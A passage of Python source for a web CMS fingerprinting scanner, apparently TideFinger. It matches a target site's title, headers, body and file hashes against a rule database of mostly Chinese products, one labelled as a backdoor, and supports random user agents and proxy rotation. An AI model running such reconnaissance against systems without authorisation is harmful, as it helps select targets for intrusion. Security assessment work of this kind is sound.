'\\xe4\\xb9\\x90\\xe5\\xbd\\xbc\\xe5\\xa4\\x9a\\xe7\\xbd\\x91\\xe5\\xba\\x97',\n '\\xe4\\xba\\xbf\\xe9\\x82\\xaeemail',\n '\\xe4\\xbc\\x81\\xe6\\x99\\xba\\xe9\\x80\\x9a\\xe7\\xb3\\xbb\\xe5\\x88\\x97\\xe4\\xb8\\x8a\\xe7\\xbd\\x91\\xe8\\xa1\\x8c\\xe4\\xb8\\xba\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe4\\xbc\\x97\\xe6\\x8b\\x93', '\\xe5\\x85\\xa8\\xe7\\xa8\\x8boa',\n '\\xe5\\x87\\xa1\\xe8\\xaf\\xba\\xe4\\xbc\\x81\\xe4\\xb8\\x9a\\xe7\\xbd\\x91\\xe7\\xab\\x99\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe5\\x88\\x86\\xe7\\xb1\\xbb\\xe4\\xbf\\xa1\\xe6\\x81\\xaf\\xe7\\xbd\\x91bank.asp\\xe5\\x90\\x8e\\xe9\\x97\\xa8',\n '\\xe5\\x88\\x9b\\xe6\\x8d\\xb7\\xe9\\xa9\\xbe\\xe6\\xa0\\xa1\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe5\\x8d\\x8e\\xe5\\xa4\\x8f\\xe5\\x88\\x9b\\xe6\\x96\\xb0appex\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe5\\x8d\\x97\\xe6\\x96\\xb9\\xe6\\x95\\xb0\\xe6\\x8d\\xae',\n '\\xe5\\x8f\\xa3\\xe7\\xa6\\x8f\\xe7\\xa7\\x91\\xe6\\x8a\\x80',\n '\\xe5\\x91\\xb3\\xe5\\xa4\\x9a\\xe7\\xbe\\x8e\\xe5\\xaf\\xbc\\xe8\\x88\\xaa',\n '\\xe5\\x95\\x86\\xe5\\xa5\\x87cms',\n '\\xe5\\x95\\x86\\xe5\\xae\\xb6\\xe4\\xbf\\xa1\\xe6\\x81\\xaf\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe5\\x9b\\x9b\\xe9\\x80\\x9a\\xe6\\x94\\xbf\\xe5\\xba\\x9c\\xe7\\xbd\\x91\\xe7\\xab\\x99\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe5\\xa4\\xa7\\xe6\\xb1\\x89jcms',\n '\\xe5\\xa4\\xa9\\xe6\\x9f\\x8f\\xe5\\x9c\\xa8\\xe7\\xba\\xbf\\xe8\\x80\\x83\\xe8\\xaf\\x95\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe5\\xa4\\xa9\\xe8\\x9e\\x8d\\xe4\\xbf\\xa1panabit',\n '\\xe5\\xae\\x81\\xe5\\xbf\\x97\\xe5\\xad\\xa6\\xe6\\xa0\\xa1\\xe7\\xbd\\x91\\xe7\\xab\\x99',\n '\\xe5\\xae\\x81\\xe5\\xbf\\x97\\xe5\\xad\\xa6\\xe6\\xa0\\xa1\\xe7\\xbd\\x91\\xe7\\xab\\x99\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe5\\xae\\x89\\xe4\\xb9\\x90\\xe4\\xb8\\x9a\\xe6\\x88\\xbf\\xe4\\xba\\xa7\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe5\\xae\\x9a\\xe6\\xb5\\xb7\\xe7\\xa5\\x9e\\xe7\\x9c\\x9f',\n '\\xe5\\xb0\\x8f\\xe8\\xae\\xa1\\xe5\\xa4\\xa9\\xe7\\xa9\\xba\\xe8\\xbf\\x9b\\xe9\\x94\\x80\\xe5\\xad\\x98\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe5\\xb0\\x98\\xe6\\x9c\\x88\\xe4\\xbc\\x81\\xe4\\xb8\\x9a\\xe7\\xbd\\x91\\xe7\\xab\\x99\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe5\\xb0\\x98\\xe7\\xbc\\x98\\xe9\\x9b\\x85\\xe5\\xa2\\x83\\xe5\\x9b\\xbe\\xe6\\x96\\x87\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe5\\xbb\\xba\\xe7\\xab\\x99\\xe4\\xb9\\x8b\\xe6\\x98\\x9f',\n '\\xe5\\xbe\\xae\\xe6\\x93\\x8e\\xe7\\xa7\\x91\\xe6\\x8a\\x80',\n '\\xe6\\x82\\x9f\\xe7\\xa9\\xbacrm',\n '\\xe6\\x82\\x9f\\xe7\\xa9\\xbacrm\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe6\\x93\\x8e\\xe5\\xa4\\xa9\\xe6\\x94\\xbf\\xe5\\x8a\\xa1\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe6\\x96\\xb0\\xe4\\xb8\\xba\\xe8\\xbd\\xaf\\xe4\\xbb\\xb6e-learning\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe6\\x96\\xb0\\xe7\\xa7\\x80',\n '\\xe6\\x96\\xb9\\xe7\\xbb\\xb4\\xe5\\x9b\\xa2\\xe8\\xb4\\xad',\n '\\xe6\\x96\\xb9\\xe7\\xbb\\xb4\\xe5\\x9b\\xa2\\xe8\\xb4\\xad\\xe8\\xb4\\xad\\xe7\\x89\\xa9\\xe5\\x88\\x86\\xe4\\xba\\xab\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe6\\x97\\xb6\\xe4\\xbb\\xa3\\xe4\\xbc\\x81\\xe4\\xb8\\x9a\\xe9\\x82\\xae',\n '\\xe6\\x98\\x8e\\xe8\\x85\\xbecms', '\\xe6\\x98\\x93\\xe5\\x88\\x9b\\xe6\\x80\\x9d',\n '\\xe6\\x98\\x93\\xe5\\x88\\x9b\\xe6\\x80\\x9d\\xe6\\x95\\x99\\xe8\\x82\\xb2\\xe5\\xbb\\xba\\xe7\\xab\\x99\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe6\\x98\\x93\\xe6\\x83\\xb3cms',\n '\\xe6\\x99\\xba\\xe7\\x9d\\xbf\\xe7\\xbd\\x91\\xe7\\xab\\x99\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe6\\x9c\\x80\\xe5\\x9c\\x9f\\xe5\\x9b\\xa2\\xe8\\xb4\\xad\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe6\\x9c\\xaa\\xe7\\x9f\\xa5oem\\xe5\\xae\\x89\\xe9\\x98\\xb2\\xe7\\x9b\\x91\\xe6\\x8e\\xa7\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe6\\x9c\\xaa\\xe7\\x9f\\xa5\\xe6\\x94\\xbf\\xe5\\xba\\x9c\\xe9\\x87\\x87\\xe8\\xb4\\xad\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe6\\x9c\\xaa\\xe7\\x9f\\xa5\\xe6\\x9f\\xa5\\xe8\\xaf\\xa2\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe6\\x9d\\xad\\xe5\\xb7\\x9e\\xe5\\x8d\\x9a\\xe9\\x87\\x87cms',\n '\\xe6\\x9d\\xb0\\xe5\\xa5\\x87\\xe5\\xb0\\x8f\\xe8\\xaf\\xb4\\xe8\\xbf\\x9e\\xe8\\xbd\\xbd\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe6\\xa1\\x83\\xe6\\xba\\x90\\xe7\\x9b\\xb8\\xe5\\x86\\x8c\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe6\\xb1\\x87\\xe6\\x88\\x90\\xe4\\xbc\\x81\\xe4\\xb8\\x9a\\xe5\\xbb\\xba\\xe7\\xab\\x99cms',\n '\\xe6\\xb1\\x87\\xe6\\x96\\x87\\xe5\\x9b\\xbe\\xe4\\xb9\\xa6\\xe9\\xa6\\x86\\xe4\\xb9\\xa6\\xe7\\x9b\\xae\\xe6\\xa3\\x80\\xe7\\xb4\\xa2\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe6\\xb1\\x89\\xe7\\xa0\\x81\\xe9\\xab\\x98\\xe6\\xa0\\xa1\\xe6\\xaf\\x95\\xe4\\xb8\\x9a\\xe7\\x94\\x9f\\xe5\\xb0\\xb1\\xe4\\xb8\\x9a\\xe4\\xbf\\xa1\\xe6\\x81\\xaf\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe6\\xb3\\x9b\\xe5\\xbe\\xaee-office', '\\xe6\\xb3\\x9b\\xe5\\xbe\\xaeoa',\n '\\xe6\\xb5\\xaa\\xe6\\xbd\\xaecms',\n '\\xe6\\xb5\\xb7\\xe5\\xba\\xb7\\xe5\\xa8\\x81\\xe8\\xa7\\x86',\n '\\xe7\\x88\\xb1\\xe6\\xb7\\x98\\xe5\\xae\\xa2',\n '\\xe7\\x88\\xb1\\xe8\\xa3\\x85\\xe7\\xbd\\x91',\n '\\xe7\\x94\\xa8\\xe5\\x8f\\x8bfe\\xe5\\x8d\\x8f\\xe4\\xbd\\x9c\\xe5\\x8a\\x9e\\xe5\\x85\\xac\\xe5\\xb9\\xb3\\xe5\\x8f\\xb0',\n '\\xe7\\x94\\xa8\\xe5\\x8f\\x8bfe\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe7\\x94\\xa8\\xe5\\x8f\\x8bturbcrm\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe7\\x94\\xa8\\xe5\\x8f\\x8bu8', '\\xe7\\x94\\xa8\\xe5\\x8f\\x8b',\n '\\xe7\\x9a\\x93\\xe7\\xbf\\xb0\\xe9\\x80\\x9a\\xe7\\x94\\xa8\\xe6\\x95\\xb0\\xe5\\xad\\x97\\xe5\\x8c\\x96\\xe6\\xa0\\xa1\\xe5\\x9b\\xad\\xe5\\xb9\\xb3\\xe5\\x8f\\xb0',\n '\\xe7\\x9c\\x81\\xe7\\xba\\xa7\\xe5\\x86\\x9c\\xe6\\x9c\\xba\\xe6\\x9e\\x84\\xe7\\xbd\\xae\\xe8\\xa1\\xa5\\xe8\\xb4\\xb4\\xe4\\xbf\\xa1\\xe6\\x81\\xaf\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe7\\xa7\\x91\\xe4\\xbf\\xa1\\xe9\\x82\\xae\\xe4\\xbb\\xb6\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe7\\xa7\\x91\\xe8\\xbf\\x88ras',\n '\\xe7\\xa8\\x8b\\xe6\\xb0\\x8f\\xe8\\x88\\x9e\\xe6\\x9b\\xb2cms',\n '\\xe7\\xbb\\xbf\\xe9\\xba\\xbb\\xe9\\x9b\\x80\\xe5\\x80\\x9f\\xe8\\xb4\\xb7\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe7\\xbd\\x91\\xe8\\xb6\\xa3\\xe5\\x95\\x86\\xe5\\x9f\\x8e',\n '\\xe7\\xbd\\x91\\xe9\\x92\\x9b\\xe6\\x96\\x87\\xe7\\xab\\xa0\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe8\\x80\\x81y\\xe6\\x96\\x87\\xe7\\xab\\xa0\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe8\\x81\\x94\\xe4\\xbc\\x97mediinfo\\xe5\\x8c\\xbb\\xe9\\x99\\xa2\\xe7\\xbb\\xbc\\xe5\\x90\\x88\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe5\\xb9\\xb3\\xe5\\x8f\\xb0',\n '\\xe8\\x87\\xaa\\xe5\\x8a\\xa8\\xe5\\x8f\\x91\\xe5\\x8d\\xa1\\xe5\\xb9\\xb3\\xe5\\x8f\\xb0',\n '\\xe8\\x89\\xaf\\xe7\\xb2\\xbe\\xe5\\x8d\\x97\\xe6\\x96\\xb9',\n '\\xe8\\x89\\xba\\xe5\\xb8\\x86cms',\n '\\xe8\\x8f\\xb2\\xe6\\x96\\xaf\\xe7\\x89\\xb9\\xe8\\xaf\\xba\\xe6\\x9c\\x9f\\xe5\\x88\\x8a\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe8\\x93\\x9d\\xe5\\x87\\x8ceis\\xe6\\x99\\xba\\xe6\\x85\\xa7\\xe5\\x8d\\x8f\\xe5\\x90\\x8c\\xe5\\xb9\\xb3\\xe5\\x8f\\xb0',\n '\\xe8\\x93\\x9d\\xe7\\xa7\\x91cms',\n '\\xe8\\x96\\x84\\xe5\\x86\\xb0\\xe6\\x97\\xb6\\xe6\\x9c\\x9f\\xe7\\xbd\\x91\\xe7\\xab\\x99\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe8\\xae\\xaf\\xe6\\x97\\xb6\\xe7\\xbd\\x91\\xe7\\xab\\x99\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9fcms',\n '\\xe8\\xae\\xb0\\xe4\\xba\\x8b\\xe7\\x8b\\x97',\n '\\xe8\\xb4\\xb7\\xe9\\xbd\\x90\\xe4\\xb9\\x90\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe9\\x80\\x9a\\xe8\\xbe\\xbeoa\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe9\\x80\\x9f\\xe8\\xb4\\x9dcms',\n '\\xe9\\x87\\x91\\xe8\\x89\\xb2\\xe6\\xa0\\xa1\\xe5\\x9b\\xad',\n '\\xe9\\x87\\x91\\xe8\\x9d\\xb6oa',\n '\\xe9\\x87\\x91\\xe8\\x9d\\xb6\\xe5\\x8d\\x8f\\xe4\\xbd\\x9c\\xe5\\x8a\\x9e\\xe5\\x85\\xac\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe9\\x87\\x91\\xe9\\x92\\xb1\\xe6\\x9f\\x9cp2p',\n '\\xe9\\x9b\\x86\\xe6\\x97\\xb6\\xe9\\x80\\x9a\\xe8\\xae\\xaf\\xe7\\xa8\\x8b\\xe5\\xba\\x8f',\n '\\xe9\\x9c\\xb2\\xe7\\x8f\\xa0\\xe6\\x96\\x87\\xe7\\xab\\xa0\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe9\\x9d\\x92\\xe4\\xba\\x91\\xe5\\xae\\xa2cms',\n '\\xe9\\x9d\\x92\\xe5\\xb3\\xb0\\xe7\\xbd\\x91\\xe7\\xbb\\x9c\\xe6\\x99\\xba\\xe8\\x83\\xbd\\xe7\\xbd\\x91\\xe7\\xab\\x99\\xe7\\xae\\xa1\\xe7\\x90\\x86\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe9\\x9d\\x92\\xe6\\x9e\\x9c\\xe5\\xad\\xa6\\xe7\\x94\\x9f\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe9\\x9d\\x92\\xe6\\x9e\\x9c\\xe5\\xad\\xa6\\xe7\\x94\\x9f\\xe7\\xbb\\xbc\\xe5\\x90\\x88\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe9\\x9d\\x92\\xe6\\x9e\\x9c\\xe6\\x95\\x99\\xe5\\x8a\\xa1\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe9\\x9d\\x92\\xe6\\x9e\\x9c\\xe8\\xbd\\xaf\\xe4\\xbb\\xb6\\xe6\\x95\\x99\\xe5\\x8a\\xa1\\xe7\\xb3\\xbb\\xe7\\xbb\\x9f',\n '\\xe9\\x9d\\x9e\\xe5\\x87\\xa1\\xe5\\xbb\\xba\\xe7\\xab\\x99'\n]\n\n\ndef requests_proxies():\n '''\n Proxies for every requests\n '''\n proxies = {\n 'http': '', #127.0.0.1:1080 shadowsocks\n 'https': '' #127.0.0.1:8080 BurpSuite\n }\n return proxies\n\n\ndef requests_headers():\n user_agent = [\n 'Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0',\n 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0',\n 'Mozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre',\n 'Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60',\n 'Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr)',\n 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14',\n 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36',\n 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36',\n 'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)',\n 'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',\n 'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5'\n ]\n UA = random.choice(user_agent)\n headers = {\n 'Accept':\n 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n 'User-Agent': UA,\n 'Upgrade-Insecure-Requests': '1',\n 'Connection': 'keep-alive',\n 'Cache-Control': 'max-age=0',\n 'Accept-Encoding': 'gzip, deflate, sdch',\n 'Accept-Language': 'zh-CN,zh;q=0.8',\n \"Referer\":\n \"http://www.baidu.com/link?url=www.so.com&url=www.soso.com&&url=www.sogou.com\",\n 'Cookie': \"PHPSESSID=gljsd5c3ei5n813roo4878q203\"\n }\n return headers\n\n\n# colour\nW = '\\033[0m'\nG = '\\033[1;32m'\nR = '\\033[1;31m'\nO = '\\033[1;33m'\nB = '\\033[1;34m'\n\n# User-Agent\nagent = {\n 'UserAgent': 'Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US))'\n}\n\n# re\nrtitle = re.compile(r'title=\"(.*)\"')\nrheader = re.compile(r'header=\"(.*)\"')\nrbody = re.compile(r'body=\"(.*)\"')\nrbracket = re.compile(r'\\((.*)\\)')\n\n\ndef check(_id):\n db_path = os.path.join(pwd, \"cms_finger.db\")\n with sqlite3.connect(db_path) as conn:\n cursor = conn.cursor()\n result = cursor.execute('SELECT name, keys FROM `fofa` where id=(?)',\n (1, ))\n for row in result:\n return row[0], row[1]\n\n\ndef count():\n with sqlite3.connect(pwd + '/cms_finger.db') as conn:\n cursor = conn.cursor()\n result = cursor.execute('SELECT COUNT(id) FROM `fofa`')\n for row in result:\n return row[0]\n\n\nclass Cmsscanner(object):\n def __init__(self, target):\n self.target = target\n self.start = time.time()\n self.finger = []\n\n def get_info(self):\n \"\"\"获取web的信息\"\"\"\n try:\n session = requests.Session()\n #让 request 不使用系统的全局http代理\n session.trust_env = False\n r = session.get(url=self.target,\n headers=agent,\n timeout=request_timeout,\n verify=True)\n content = r.text\n try:\n title = BS(content, 'lxml').title.text.strip()\n return str(r.headers), content, title.strip('\\n')\n except Exception as e:\n return str(r.headers), content, ''\n except Exception as e:\n print(\"can not get the website information!\")\n print(e)\n os._exit(-1)\n\n def check_rule(self, key, header, body, title):\n \"\"\"指纹识别\"\"\"\n try:\n if 'title=\"' in key:\n if re.findall(rtitle, key)[0].lower() in title.lower():\n return True\n elif 'body=\"' in key:\n if re.findall(rbody, key)[0] in body: return True\n else:\n if re.findall(rheader, key)[0] in header: return True\n except Exception as e:\n pass\n\n def handle(self, _id, header, body, title):\n \"\"\"取出数据库的key进行匹配\"\"\"\n name, key = check(_id)\n # 如果数据库中无该_id跳出\n if name == \"\":\n return\n # 满足一个条件即可的情况\n if '||' in key and '&&' not in key and '(' not in key:\n for rule in key.split('||'):\n if self.check_rule(rule, header, body, title):\n self.finger.append(name)\n # print '%s[+] %s %s%s' % (G, self.target, name, W)\n break\n # 只有一个条件的情况\n elif '||' not in key and '&&' not in key and '(' not in key:\n if self.check_rule(key, header, body, title):\n self.finger.append(name)\n # print '%s[+] %s %s%s' % (G, self.target, name, W)\n # 需要同时满足条件的情况\n elif '&&' in key and '||' not in key and '(' not in key:\n num = 0\n for rule in key.split('&&'):\n if self.check_rule(rule, header, body, title):\n num += 1\n if num == len(key.split('&&')):\n self.finger.append(name)\n # print '%s[+] %s %s%s' % (G, self.target, name, W)\n else:\n # 与条件下存在并条件: 1||2||(3&&4)\n if '&&' in re.findall(rbracket, key)[0]:\n for rule in key.split('||'):\n if '&&' in rule:\n num = 0\n for _rule in rule.split('&&'):\n if self.check_rule(_rule, header, body, title):\n num += 1\n if num == len(rule.split('&&')):\n self.finger.append(name)\n # print '%s[+] %s %s%s' % (G, self.target, name, W)\n break\n else:\n if self.check_rule(rule, header, body, title):\n self.finger.append(name)\n # print '%s[+] %s %s%s' % (G, self.target, name, W)\n break\n else:\n # 并条件下存在与条件: 1&&2&&(3||4)\n for rule in key.split('&&'):\n num = 0\n if '||' in rule:\n for _rule in rule.split('||'):\n if self.check_rule(_rule, title, body, header):\n num += 1\n break\n else:\n if self.check_rule(rule, title, body, header):\n num += 1\n if num == len(key.split('&&')):\n self.finger.append(name)\n # print '%s[+] %s %s%s' % (G, self.target, name, W)\n\n def run(self):\n try:\n header, body, title = self.get_info()\n #list index out of range 因为数据���中的id有缺失\n for _id in range(1, int(count())):\n try:\n self.handle(_id, header, body, title)\n except Exception as e:\n print(e)\n pass\n except Exception as e:\n print(e)\n return self.finger\n\n\ndef getMD5(c):\n m = hashlib.md5()\n m.update(str(c).encode('utf-8'))\n psw = m.hexdigest()\n return psw\n\n\nclass Worker(threading.Thread): # 处理工作请求\n def __init__(self, workQueue, resultQueue, **kwds):\n threading.Thread.__init__(self, **kwds)\n self.setDaemon(True)\n self.workQueue = workQueue\n self.resultQueue = resultQueue\n\n def run(self):\n while 1:\n try:\n callable, args, kwds = self.workQueue.get(False) # get task\n res = callable(*args, **kwds)\n self.resultQueue.put(res) # put result\n except queue.Empty:\n break\n\n\nclass WorkManager: # 线程池管理,创建\n def __init__(self, num_of_workers=10, time_waite=10):\n self.workQueue = queue.Queue() # 请求队列\n self.resultQueue = queue.Queue() # 输出结果的队列\n self.workers = []\n self.time_waite = time_waite\n self._recruitThreads(num_of_workers)\n\n def _recruitThreads(self, num_of_workers):\n for i in range(num_of_workers):\n worker = Worker(self.workQueue, self.resultQueue) # 创建工作线程\n self.workers.append(worker) # 加入到线程队列\n\n def start(self):\n for w in self.workers:\n w.start()\n\n def wait_for_complete(self):\n while len(self.workers):\n worker = self.workers.pop() # 从池中取出一个线程处理请求\n worker.join(self.time_waite)\n if worker.isAlive() and not self.workQueue.empty():\n self.workers.append(worker) # 重新加入线程池中\n\n def add_job(self, callable, *args, **kwds):\n self.workQueue.put((callable, args, kwds)) # 向工作队列中加入请求\n\n def get_result(self, *args, **kwds):\n return self.resultQueue.get(*args, **kwds)\n\n\nclass WhatCms:\n def __init__(self, target, file_path):\n self.cms = []\n self.diction = {}\n self.is_finish = False\n self.g_index = 0\n self.threads = []\n self.lock = threading.Lock()\n self.thread_num = check_thunder\n self.target = WhatCms.normalize_target(target)\n self.info = {}\n self.file_path = file_path\n\n @staticmethod\n def request_url(url):\n try:\n if use_proxy:\n proxy = random.choice(proxy_list)\n web_proxy = {\"http\": proxy.replace(\"\\n\", \"\")}\n print(\"web_proxy\", web_proxy)\n else:\n web_proxy = {\"http\": ''}\n\n headers = {\n 'User-Agent':\n 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:59.0) Gecko/20100101 Firefox/59.0'\n }\n\n r = requests.get(url=url,\n headers=requests_headers(),\n timeout=request_timeout,\n verify=True,\n proxies=web_proxy)\n r.encoding = 'utf-8'\n if r.status_code == 200:\n return r.text, r.content\n else:\n return '', ''\n except Exception as e:\n # print e\n return '', ''\n\n @staticmethod\n def normalize_target(target):\n if target.endswith('/'):\n target = target[:-1]\n if target.startswith('http'):\n pass\n else:\n target = 'http://' + target\n return target\n\n def find_powered_by(self):\n '''\n 根据powered by获取cms\n :return:\n '''\n html, content = WhatCms.request_url(self.target)\n match = re.search('Powered by (.*)', html, re.I)\n if match:\n clear_html_cms = re.sub('<.*?>', '', match.group(1))\n cms_name = clear_html_cms.split(' ')[0]\n self.info['cms_name'] = cms_name\n self.info['path'] = '/'\n self.info['match_pattern'] = \"powered by \" + cms_name\n self.is_finish = True\n return True\n else:\n return False\n\n def set_info(self,\n finger_id=\"nothing\",\n cms_name=\"Not Found\",\n path=\"nothing\",\n match_pattern=\"nothing\",\n options=\"nothing\",\n hit=\"nothing\"):\n self.lock.acquire()\n self.is_finish = True\n self.info['finger_id'] = finger_id\n self.info['cms_name'] = cms_name\n self.info['path'] = path\n self.info['match_pattern'] = match_pattern\n self.info['options'] = options\n self.info['hit'] = hit\n self.lock.release()\n\n def find_cms_with_file(self):\n '''\n 根据cms.txt检测cms\n :return:\n '''\n while True:\n if self.is_finish:\n break\n elif self.g_index >= len(self.cms):\n self.set_info()\n break\n self.lock.acquire()\n try:\n eachline = self.cms[self.g_index]\n except Exception as e:\n break\n self.g_index += 1\n self.lock.release()\n\n finger_id, cms_name, path, match_pattern, options, hit = eachline[\n 0], eachline[1], eachline[2], eachline[3], eachline[\n 4], eachline[5]\n\n url = self.target + path\n # print self.g_index,url\n response_html, response_content = WhatCms.request_url(url)\n\n if ((options == \"md5\"\n and match_pattern == getMD5(response_content))\n or (options == \"keyword\"\n and match_pattern.lower() in response_html.lower())):\n self.set_info(finger_id, cms_name, path, match_pattern,\n options, hit)\n break\n\n elif options == \"regx\":\n r = re.search(match_pattern, response_html)\n if r:\n self.set_info(finger_id, cms_name, path, match_pattern,\n options, hit)\n break\n\n def start_threads(self):\n wm_domain_task = WorkManager(self.thread_num, 5)\n for i in range(self.thread_num):\n wm_domain_task.add_job(self.find_cms_with_file)\n wm_domain_task.start()\n wm_domain_task.wait_for_complete()\n\n def run(self):\n # info=self.find_powered_by()\n info = False\n if not info:\n sqlconn1 = sqlite3.connect(self.file_path)\n sqlcursor1 = sqlconn1.cursor()\n sqlcursor1.execute('select * from cms order by hit')\n self.cms = sqlcursor1.fetchall()\n # print self.cms[1]\n sqlcursor1.close()\n sqlconn1.close()\n self.start_threads()\n\n def get_result(self):\n while True:\n if self.is_finish:\n # print \"self.info:\",self.info\n if self.info['cms_name'] != 'Not Found':\n try:\n lock.acquire()\n sqlconn = sqlite3.connect(self.file_path)\n sqlcursor = sqlconn.cursor()\n sqlcursor.execute(\n 'update cms set hit =? where finger_id = ?',\n (self.info['hit'] + 1, self.info['finger_id']))\n sqlcursor.close()\n sqlconn.commit()\n sqlconn.close()\n lock.release()\n except Exception as e:\n return False\n return self.info\n else:\n return False\n\n\ndef finger_query(url):\n whatcms = WhatCms(url, 'cms_finger.db')\n whatcms.run()\n finger_dic = whatcms.get_result()\n return finger_dic\n\n\n# exit(0)\n\nif __name__ == \"__main__\":\n log = open('log.txt', 'a+')\n msg = '''\n Usage: python TideFinger.py -u http://www.123.com [-p 1] [-m 50] [-t 5] \n \n -u: 待检测目标URL地址\n -p: 指定该选项为1后,说明启用代理检测,请确保代理文件名为proxys_ips.txt,每行一条代理,格式如: 124.225.223.101:80\n -m: 指纹匹配的线程数,不指定时默认为50\n -t: 网站响应超时时间,默认为5秒\n '''\n if len(sys.argv) < 2:\n print(msg)\n else:\n try:\n use_proxy = False\n check_thunder = 50\n request_timeout = 5\n options, args = getopt.getopt(sys.argv[1:], \"u:p:s:t\")\n ip = ''\n m_count = 100\n target_url = ''\n ping = True\n for opt, arg in options:\n if opt == '-u':\n target_url = arg\n elif opt == '-p':\n if arg == '1':\n use_proxy = True\n elif opt == '-m':\n check_thunder = int(arg)\n elif opt == '-t':\n request_timeout = int(arg)\n\n # target_url = 'http://000121000.pig66.com'\n start = datetime.datetime.now()\n if use_proxy:\n proxy_list = []\n if os.path.exists('proxys_ips.txt'):\n for porxy_tmp in open('proxys_ips.txt'):\n proxy_list.append(porxy_tmp.strip())\n else:\n print(\n \"读取代理列表出错,请确保代理文件名为proxys_ips.txt,每行一条代理,格式如: 124.225.223.101:80\"\n )\n\n if re.match(r'^https?:/{2}\\w.+$', target_url):\n print('\\n')\n print(\"Current Task: \", target_url)\n daytime = time.strftime('%Y-%m-%d',\n time.localtime(time.time()))\n logpath = 'log/' + daytime + '/'\n if not os.path.exists(logpath):\n os.makedirs(logpath, 0o0755)\n cms = 